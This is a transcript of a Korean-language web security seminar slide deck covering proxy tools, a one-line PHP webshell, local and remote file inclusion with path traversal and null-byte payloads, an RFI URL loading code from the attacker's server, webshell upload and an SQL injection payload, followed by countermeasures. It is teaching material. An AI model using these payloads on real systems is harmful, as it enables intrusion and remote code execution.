web vulnerability seminar4
DESCRIPTION
그냥 클릭TRANSCRIPT
Web vulnerability seminar
Let’s exploit
Contents
$ PHP + Source code auditing$ DB + SQLi$ XSS & CSRF$ Something Else$ Finish..?
Something else contents
$ Fiddler – Web Proxy Tool$ Webshell$ LFI/RFI$ File up/download (with SQL i)
Proxy Tool
Proxy Tool lists
$ Paros$ Burpsuite$ Fiddler…
Request 창
Response 창
Request/Response Trap
Packet Capture
패킷생성
작성
Webshell?
Webshell!
Webshell
$ php,jsp,asp 등 언어마다 다름$ 하지만 원리는 비슷함
내용 !
system($_GET[cmd]);
php..
<textarea name="CONTENT" style="width:100%; height:80%">
<?echo system($_GET[cmd]);
?></textarea>
웹쉘 실행
이제부터 이걸 쓸 겁니다 .
Homepage
과거회상
???.php
결과
경로 ?
$ include( 경로 )
경로 관련 문자열 : ., /
경로 ?
$ p = zizihacker== ../FI/zizihacker==../../etc/FI/zizihacker…
C:\secret 파일을 읽으세요
LFI
$ ../../../../../../../secret
$ secret.php
if(isset($_GET[p])){
$path = $_GET[p].".php";
include($path);echo "<br><br>";
}
With NULL.
$ ../../../../../../../secret%00
$ secret
if(isset($_GET[p])){
$path = $_GET[p].".php";
include($path);echo "<br><br>";
}
%00.php
RFI
$ 경로에 원격도 먹히지 않을까 ?
$ 그렇다면 내 서버의 파일을 실행 시키거나 올릴 수 있지 않을까 ?
RFI
RFI
$ 자신이 만든 php 를 올려봅시다
$ http://192.168.32.75/RFI.php?p=
Exploit
$ http://192.168.32.75/RFI.php?p=http://ip/path/test.txt%00
$ http://192.168.32.75/RFI.php?p=http://ip/path/test.txt?
왜 ?
File upload
$ 파일 업로드> 글쓰기 및 파일 업로드 요청> FTP 에 저장 혹은 DB 와 연동
File upload
2 가지 취약점이 존재 .
$ 파일이름을 그대로 씀$ SQL injection 취약점이 존재
웹쉘을 올려봅시다 .
경로를 어떻게 알아야 하나요 ?
힌트 : ………………………………..
서버설정도 덮어 쓸 수 있음 .
$ .htaccess$ php.ini$ httpd.conf...
htaccess
디렉토리 별로 설정을 변경 할 수 있음
magic_quote_gpcengineLFI RFI 관련기타 여러가지
과거회상
SQl injection
$ ‘1,’wer’,’2’),(‘2
+ 센스 ?
C:\secret 파일을 읽어봅시다 .
SQL
$ INSERT INTO a,b,c values(‘',0x433a2f736563726574,1234)#’,path,ip);
file Download
$ SQL 인젝션을 통해 db 에 값을 넣고$ file download 기능을 통해 받는다 .
대처방안 LFI
$ 경로 관련 문자열 필터링> 일반적인 파일 이름엔 / 가 들어가지 않음 !
$ 페이지를 db 에 따로 저장> 관리가 귀찮음 ..
$ NULL 문자 방지를 위해 magic_quote on> magic_quote_gpc 를 켜면 %00=> \0
대처방안 RFI
$ 기본옵션에서 막혀 있음 ..> allow_url_fopen = off> allow_url_include = off
$ 만약 써야 한다면 신뢰할 수 있는 url 이외엔 drop
대처방안 File upload
$ FTP 를 사용할 시 anon 계정의 w 권한 금지> 계정 사용 자체를 막는 것도 좋은 방법
$ db 와 연동 시 sql 취약점을 잘 판단할 것 .> magic_quote_gpc 만 켜도 해결되긴 함 ..
$ 파일이름을 랜덤하게 지정할 것 .> 경로 또한 마찬가지
추가 . File download
$ 요청과 권한을 확인 할 것> 비 로그인 및 불충분한 권한인지 확인
$ db 에서 가져온 값을 그대로 신용하지 말고 체크할 것
$ download 받을 시 인자 값에서 injection이 발생 할 수도 있음 !